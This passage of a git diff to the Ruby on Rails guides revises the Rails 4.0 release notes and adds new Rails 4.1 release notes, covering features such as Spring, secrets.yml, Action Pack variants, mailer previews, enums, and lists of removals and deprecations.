-TODO. Give a list and then talk about each of them briefly. We can point to relevant code commits or documentation from these sections.
-
[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png)
+### Upgrade
+
+ * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
+ * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
+ * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
+ * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
+ * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
+ * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
+ * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
+ * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems.
+
+### ActionPack
+
+ * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`).
+ * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
+ * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
+ * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation
+ * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
+ * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
+ * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
+ * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel.
+
+### General
+
+ * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`)
+ * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables.
+ * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
+ * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important.
+ * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store.
+ * **Notifications start &amp; finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers.
+ * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. Note: Check that the gems you are using are threadsafe.
+ * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.
+
+### Security
+
+ * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
+ * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
+ * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).
+
Extraction of features to gems
---------------------------
@@ -79,7 +116,7 @@ Documentation
Railties
--------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes.
### Notable changes
@@ -102,7 +139,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt
Action Mailer
-------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes.
### Notable changes
@@ -111,7 +148,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio
Active Model
------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes.
### Notable changes
@@ -124,36 +161,49 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
Active Support
--------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes.
### Notable changes
-* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore.
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
-* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead.
* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
+* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
+ when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
+
+ ```
+ # ActiveSupport 3.x
+ "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+ "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+
+ # ActiveSupport 4
+ "asdf".to_date # => ArgumentError: invalid date
+ "333".to_date # => Fri, 29 Nov 2013
+ ```
+
### Deprecations
* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
-* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
-* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).
+* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).
-* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
Action Pack
-----------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionpack/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes.
### Notable changes
@@ -165,7 +215,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio
Active Record
-------------
-Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activerecord/CHANGELOG.md) for detailed changes.
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes.
### Notable changes
@@ -216,9 +266,9 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
* `find_all_by_...` can be rewritten using `where(...)`.
* `find_last_by_...` can be rewritten using `where(...).last`.
* `scoped_by_...` can be rewritten using `where(...)`.
- * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`.
- * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`.
- * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`.
+ * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
+ * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
+ * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
Credits
-------
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
new file mode 100644
index 0000000000..822943d81e
--- /dev/null
+++ b/guides/source/4_1_release_notes.md
@@ -0,0 +1,730 @@
+Ruby on Rails 4.1 Release Notes
+===============================
+
+Highlights in Rails 4.1:
+
+* Spring application preloader
+* `config/secrets.yml`
+* Action Pack variants
+* Action Mailer previews
+
+These release notes cover only the major changes. To know about various bug
+fixes and changes, please refer to the change logs or check out the
+[list of commits](https://github.com/rails/rails/commits/master) in the main
+Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 4.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+guide.
+
+
+Major Features
+--------------
+
+### Spring Application Preloader
+
+Spring is a Rails application preloader. It speeds up development by keeping
+your application running in the background so you don't need to boot it every
+time you run a test, rake task or migration.
+
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage of preloaded
+spring environments.
+
+**Running rake tasks:**
+
+```
+bin/rake test:models
+```
+
+**Running a Rails command:**
+
+```
+bin/rails console
+```
+
+**Spring introspection:**
+
+```
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app | my_app | started 23 secs ago | test mode
+ 3746 spring app | my_app | started 10 secs ago | development mode
+```
+
+Have a look at the
+[Spring README](https://github.com/rails/spring/blob/master/README.md) to
+see all available features.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
+guide on how to migrate existing applications to use this feature.
+
+### `config/secrets.yml`
+
+Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default,
+this file contains the application's `secret_key_base`, but it could also be
+used to store other secrets such as access keys for external APIs.
+
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+
+```yaml
+development:
+ secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+ some_api_key: SOMEKEY
+```
+
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml)
+guide on how to migrate existing applications to use this feature.
+
+### Action Pack Variants
+
+We often want to render different HTML/JSON/XML templates for phones,
+tablets, and desktop browsers. Variants make it easy.
+
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
+
+You can set the variant in a `before_action`:
+
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
+
+Respond to variants in the action just like you respond to formats:
+
+```ruby
+respond_to do |format|
+ format.html do |html|
+ html.tablet # renders app/views/projects/show.html+tablet.erb
+ html.phone { extra_setup; render ... }
+ end
+end
+```
+
+Provide separate templates for each format and variant:
+
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+
+You can also simplify the variants definition using the inline syntax:
+
+```ruby
+respond_to do |format|
+ format.js { render "trash" }
+ format.html.phone { redirect_to progress_path }
+ format.html.none { render "trash" }
+end
+```
+
+### Action Mailer Previews
+
+Action Mailer previews provide a way to visually see how emails look by visiting
+a special URL that renders them.
+
+You implement a preview class whose methods return the mail object you'd like
+to check:
+
+```ruby
+class NotifierPreview < ActionMailer::Preview
+ def welcome
+ Notifier.welcome(User.first)
+ end
+end
+```
+
+The preview is available in http://localhost:3000/rails/mailers/notifier/welcome,
+and a list of them in http://localhost:3000/rails/mailers.
+
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html)
+for a detailed write up.
+
+### Active Record enums
+
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
+
+```ruby
+class Conversation < ActiveRecord::Base
+ enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+```
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+for a detailed write up.
+
+### Message Verifiers
+
+Message verifiers can be used to generate and verify signed messages. This can
+be useful to safely transport sensitive data like remember-me tokens and
+friends.
+
+The method `Rails.application.message_verifier` returns a new message verifier
+that signs messages with a key derived from secret_key_base and the given
+message verifier name:
+
+```ruby
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+```
+
+### Module#concerning
+
+A natural, low-ceremony way to separate responsibilities within a class:
+
+```ruby
+class Todo < ActiveRecord::Base
+ concerning :EventTracking do
+ included do
+ has_many :events
+ end
+
+ def latest_event
+ ...
+ end
+
+ private
+ def some_internal_method
+ ...
+ end
+ end
+end
+```
+
+This example is equivalent to defining a `EventTracking` module inline,
+extending it with `ActiveSupport::Concern`, then mixing it in to the
+`Todo` class.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+for a detailed write up and the intended use cases.
+
+### CSRF protection from remote `<script>` tags
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
+your JavaScript URL and attempting to run it to extract sensitive data.
+
+This means any of your tests that hit `.js` URLs will now fail CSRF protection
+unless they use `xhr`. Upgrade your tests to be explicit about expecting
+XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit
+`xhr :post, :create, format: :js`.
+
+
+Railties
+--------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed `update:application_controller` rake task.
+
+* Removed deprecated `Rails.application.railties.engines`.
+
+* Removed deprecated `threadsafe!` from Rails Config.
+
+* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in
+ favor of `ActiveRecord::Generators::ActiveModel#update`.
+
+* Removed deprecated `config.whiny_nils` option.
+
+* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and
+ `rake test:recent`.
+
+### Notable changes
+
+* The [Spring application
+ preloader](https://github.com/rails/spring) is now installed
+ by default for new applications. It uses the development group of
+ the Gemfile, so will not be installed in
+ production. ([Pull Request](https://github.com/rails/rails/pull/12958))
+
+* `BACKTRACE` environment variable to show unfiltered backtraces for test
+ failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553))
+
+* Exposed `MiddlewareStack#unshift` to environment
+ configuration. ([Pull Request](https://github.com/rails/rails/pull/12479))
+
+* Added `Application#message_verifier` method to return a message
+ verifier. ([Pull Request](https://github.com/rails/rails/pull/12995))
+
+* The `test_help.rb` file which is required by the default generated test
+ helper will automatically keep your test database up-to-date with
+ `db/schema.rb` (or `db/structure.sql`). It raises an error if
+ reloading the schema does not resolve all pending migrations. Opt out
+ with `config.active_record.maintain_test_schema = false`. ([Pull
+ Request](https://github.com/rails/rails/pull/13528))
+
+* Introduce `Rails.gem_version` as a convenience method to return
+ `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform
+ version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103))
+
+
+Action Pack
+-----------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated Rails application fallback for integration testing, set
+ `ActionDispatch.test_app` instead.
+
+* Removed deprecated `page_cache_extension` config.
+
+* Removed deprecated `ActionController::RecordIdentifier`, use
+ `ActionView::RecordIdentifier` instead.
+
+* Removed deprecated constants from Action Controller:
+
+ | Removed | Successor |
+ |:-----------------------------------|:--------------------------------|
+ | ActionController::AbstractRequest | ActionDispatch::Request |
+ | ActionController::Request | ActionDispatch::Request |
+ | ActionController::AbstractResponse | ActionDispatch::Response |
+ | ActionController::Response | ActionDispatch::Response |
+ | ActionController::Routing | ActionDispatch::Routing |
+ | ActionController::Integration | ActionDispatch::Integration |
+ | ActionController::IntegrationTest | ActionDispatch::IntegrationTest |
+
+### Notable changes
+
+* `protect_from_forgery` also prevents cross-origin `<script>` tags.
+ Update your tests to use `xhr :get, :foo, format: :js` instead of
+ `get :foo, format: :js`.
+ ([Pull Request](https://github.com/rails/rails/pull/13345))
+
+* `#url_for` takes a hash with options inside an
+ array. ([Pull Request](https://github.com/rails/rails/pull/9599))
+
+* Added `session#fetch` method fetch behaves similarly to
+ [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch),
+ with the exception that the returned value is always saved into the
+ session. ([Pull Request](https://github.com/rails/rails/pull/12692))
+
+* Separated Action View completely from Action
+ Pack. ([Pull Request](https://github.com/rails/rails/pull/11032))
+
+* Log which keys were affected by deep
+ munge. ([Pull Request](https://github.com/rails/rails/pull/13813))
+
+* New config option `config.action_dispatch.perform_deep_munge` to opt out of
+ params "deep munging" that was used to address security vulnerability
+ CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188))
+
+* New config option `config.action_dispatch.cookies_serializer` for specifying a
+ serializer for the signed and encrypted cookie jars. (Pull Requests
+ [1](https://github.com/rails/rails/pull/13692),
+ [2](https://github.com/rails/rails/pull/13945) /
+ [More Details](upgrading_ruby_on_rails.html#cookies-serializer))
+
+* Added `render :plain`, `render :html` and `render
+ :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) /
+ [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string))
+
+
+Action Mailer
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md)
+for detailed changes.
+
+### Notable changes
+
+* Added mailer previews feature based on 37 Signals mail_view
+ gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261))
+
+* Instrument the generation of Action Mailer messages. The time it takes to
+ generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556))
+
+
+Active Record
+-------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md)
+for detailed changes.
+
+### Removals
+
+* Removed deprecated nil-passing to the following `SchemaCache` methods:
+ `primary_keys`, `tables`, `columns` and `columns_hash`.
+
+* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`.
+
+* Removed deprecated String constructor from `ActiveRecord::Migrator`.
+
+* Removed deprecated `scope` use without passing a callable object.
+
+* Removed deprecated `transaction_joinable=` in favor of `begin_transaction`
+ with a `:joinable` option.
+
+* Removed deprecated `decrement_open_transactions`.
+
+* Removed deprecated `increment_open_transactions`.
+
+* Removed deprecated `PostgreSQLAdapter#outside_transaction?`
+ method. You can use `#transaction_open?` instead.
+
+* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+ `ActiveRecord::Fixtures.default_fixture_model_name`.
+
+* Removed deprecated `columns_for_remove` from `SchemaStatements`.
+
+* Removed deprecated `SchemaStatements#distinct`.
+
+* Moved deprecated `ActiveRecord::TestCase` into the Rails test
+ suite. The class is no longer public and is only used for internal
+ Rails tests.
+
+* Removed support for deprecated option `:restrict` for `:dependent`
+ in associations.
+
+* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql`
+ and `:counter_sql` options in associations.
+
+* Removed deprecated method `type_cast_code` from Column.
+
+* Removed deprecated `ActiveRecord::Base#connection` method.
+ Make sure to access it via the class.
+
+* Removed deprecation warning for `auto_explain_threshold_in_seconds`.
+
+* Removed deprecated `:distinct` option from `Relation#count`.
+
+* Removed deprecated methods `partial_updates`, `partial_updates?` and
+ `partial_updates=`.
+
+* Removed deprecated method `scoped`.
+
+* Removed deprecated method `default_scopes?`.
+
+* Remove implicit join references that were deprecated in 4.0.
+
+* Removed `activerecord-deprecated_finders` as a dependency.
+ Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders)
+ for more info.
+
+* Removed usage of `implicit_readonly`. Please use `readonly` method
+ explicitly to mark records as
+ `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769))
+
+### Deprecations
+
+* Deprecated `quoted_locking_column` method, which isn't used anywhere.
+
+* Deprecated `ConnectionAdapters::SchemaStatements#distinct`,
+ as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556))
+
+* Deprecated `rake db:test:*` tasks as the test database is now
+ automatically maintained. See railties release notes. ([Pull
+ Request](https://github.com/rails/rails/pull/13528))
+
+* Deprecate unused `ActiveRecord::Base.symbolized_base_class`
+ and `ActiveRecord::Base.symbolized_sti_name` without
+ replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd)
+
+### Notable changes
+
+* Default scopes are no longer overridden by chained conditions.
+
+ Before this change when you defined a `default_scope` in a model
+ it was overridden by chained conditions in the same field. Now it
+ is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes).
+
+* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from
+ a model's attribute or
+ method. ([Pull Request](https://github.com/rails/rails/pull/12891))
+
+* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on
+ models. ([Pull Request](https://github.com/rails/rails/pull/12772))
+
+* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`.
+ `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425))
+
+* `.unscope` now removes conditions specified in
+ `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade))
+
+* Added `ActiveRecord::QueryMethods#rewhere` which will overwrite an existing,
+ named where condition. ([Commit](https://github.com/rails/rails/commit/f950b2699f97749ef706c6939a84dfc85f0b05f2))
+
+* Extended `ActiveRecord::Base#cache_key` to take an optional list of timestamp
+ attributes of which the highest will be used. ([Commit](https://github.com/rails/rails/commit/e94e97ca796c0759d8fcb8f946a3bbc60252d329))
+
+* Added `ActiveRecord::Base#enum` for declaring enum attributes where the values
+ map to integers in the database, but can be queried by
+ name. ([Commit](https://github.com/rails/rails/commit/db41eb8a6ea88b854bf5cd11070ea4245e1639c5))
+
+* Type cast json values on write, so that the value is consistent with reading
+ from the database. ([Pull Request](https://github.com/rails/rails/pull/12643))
+
+* Type cast hstore values on write, so that the value is consistent
+ with reading from the database. ([Commit](https://github.com/rails/rails/commit/5ac2341fab689344991b2a4817bd2bc8b3edac9d))
+
+* Make `next_migration_number` accessible for third party
+ generators. ([Pull Request](https://github.com/rails/rails/pull/12407))
+
+* Calling `update_attributes` will now throw an `ArgumentError` whenever it
+ gets a `nil` argument. More specifically, it will throw an error if the
+ argument that it gets passed does not respond to to
+ `stringify_keys`. ([Pull Request](https://github.com/rails/rails/pull/9860))
+
+* `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+ query to fetch results rather than loading the entire
+ collection. ([Pull Request](https://github.com/rails/rails/pull/12137))
+
+* `inspect` on Active Record model classes does not initiate a new
+ connection. This means that calling `inspect`, when the database is missing,
+ will no longer raise an exception. ([Pull Request](https://github.com/rails/rails/pull/11014))
+
+* Removed column restrictions for `count`, let the database raise if the SQL is
+ invalid. ([Pull Request](https://github.com/rails/rails/pull/10710))
+
+* Rails now automatically detects inverse associations. If you do not set the
+ `:inverse_of` option on the association, then Active Record will guess the
+ inverse association based on heuristics. ([Pull Request](https://github.com/rails/rails/pull/10886))
+
+* Handle aliased attributes in ActiveRecord::Relation. When using symbol keys,
+ ActiveRecord will now translate aliased attribute names to the actual column
+ name used in the database. ([Pull Request](https://github.com/rails/rails/pull/7839))
+
+* The ERB in fixture files is no longer evaluated in the context of the main
+ object. Helper methods used by multiple fixtures should be defined on modules
+ included in `ActiveRecord::FixtureSet.context_class`. ([Pull Request](https://github.com/rails/rails/pull/13022))
+
+* Don't create or drop the test database if RAILS_ENV is specified
+ explicitly. ([Pull Request](https://github.com/rails/rails/pull/13629))
+
+* `Relation` no longer has mutator methods like `#map!` and `#delete_if`. Convert
+ to an `Array` by calling `#to_a` before using these methods. ([Pull Request](https://github.com/rails/rails/pull/13314))
+
+* `find_in_batches`, `find_each`, `Result#each` and `Enumerable#index_by` now
+ return an `Enumerator` that can calculate its
+ size. ([Pull Request](https://github.com/rails/rails/pull/13938))
+
+* `scope`, `enum` and Associations now raise on "dangerous" name
+ conflicts. ([Pull Request](https://github.com/rails/rails/pull/13450),
+ [Pull Request](https://github.com/rails/rails/pull/13896))
+
+* `second` through `fifth` methods act like the `first`
+ finder. ([Pull Request](https://github.com/rails/rails/pull/13757))
+
+* Make `touch` fire the `after_commit` and `after_rollback`
+ callbacks. ([Pull Request](https://github.com/rails/rails/pull/12031))
+
+* Enable partial indexes for `sqlite >= 3.8.0`.
+ ([Pull Request](https://github.com/rails/rails/pull/13350))
+
+* Make `change_column_null`
+ revertible. ([Commit](https://github.com/rails/rails/commit/724509a9d5322ff502aefa90dd282ba33a281a96))
+
+* Added a flag to disable schema dump after migration. This is set to `false`
+ by default in the production environment for new applications.
+ ([Pull Request](https://github.com/rails/rails/pull/13948))
+
+Active Model
+------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activemodel/CHANGELOG.md)
+for detailed changes.
+
+### Deprecations
+
+* Deprecate `Validator#setup`. This should be done manually now in the
+ validator's constructor. ([Commit](https://github.com/rails/rails/commit/7d84c3a2f7ede0e8d04540e9c0640de7378e9b3a))
+
+### Notable changes
+
+* Added new API methods `reset_changes` and `changes_applied` to
+ `ActiveModel::Dirty` that control changes state.
+
+* Ability to specify multiple contexts when defining a
+ validation. ([Pull Request](https://github.com/rails/rails/pull/13754))
+
+* `attribute_changed?` now accepts a hash to check if the attribute was changed
+ `:from` and/or `:to` a given
+ value. ([Pull Request](https://github.com/rails/rails/pull/13131))
+
+
+Active Support
+--------------
+
+Please refer to the
+[Changelog](https://github.com/rails/rails/blob/4-1-stable/activesupport/CHANGELOG.md)
+for detailed changes.
+
+
+### Removals
+
+* Removed `MultiJSON` dependency. As a result, `ActiveSupport::JSON.decode`
+ no longer accepts an options hash for `MultiJSON`. ([Pull Request](https://github.com/rails/rails/pull/10576) / [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed support for the `encode_json` hook used for encoding custom objects into
+ JSON. This feature has been extracted into the [activesupport-json_encoder](https://github.com/rails/activesupport-json_encoder)
+ gem.
+ ([Related Pull Request](https://github.com/rails/rails/pull/12183) /
+ [More Details](upgrading_ruby_on_rails.html#changes-in-json-handling))
+
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+* Removed deprecated `String#encoding_aware?` core extensions (`core_ext/string/encoding`).
+
+* Removed deprecated `Module#local_constant_names` in favor of `Module#local_constants`.
+
+* Removed deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
+
+* Removed deprecated `Logger` core extensions (`core_ext/logger.rb`).
+
+* Removed deprecated `Time#time_with_datetime_fallback`, `Time#utc_time` and
+ `Time#local_time` in favor of `Time#utc` and `Time#local`.
+
+* Removed deprecated `Hash#diff` with no replacement.
+
+* Removed deprecated `Date#to_time_in_current_zone` in favor of `Date#in_time_zone`.
+
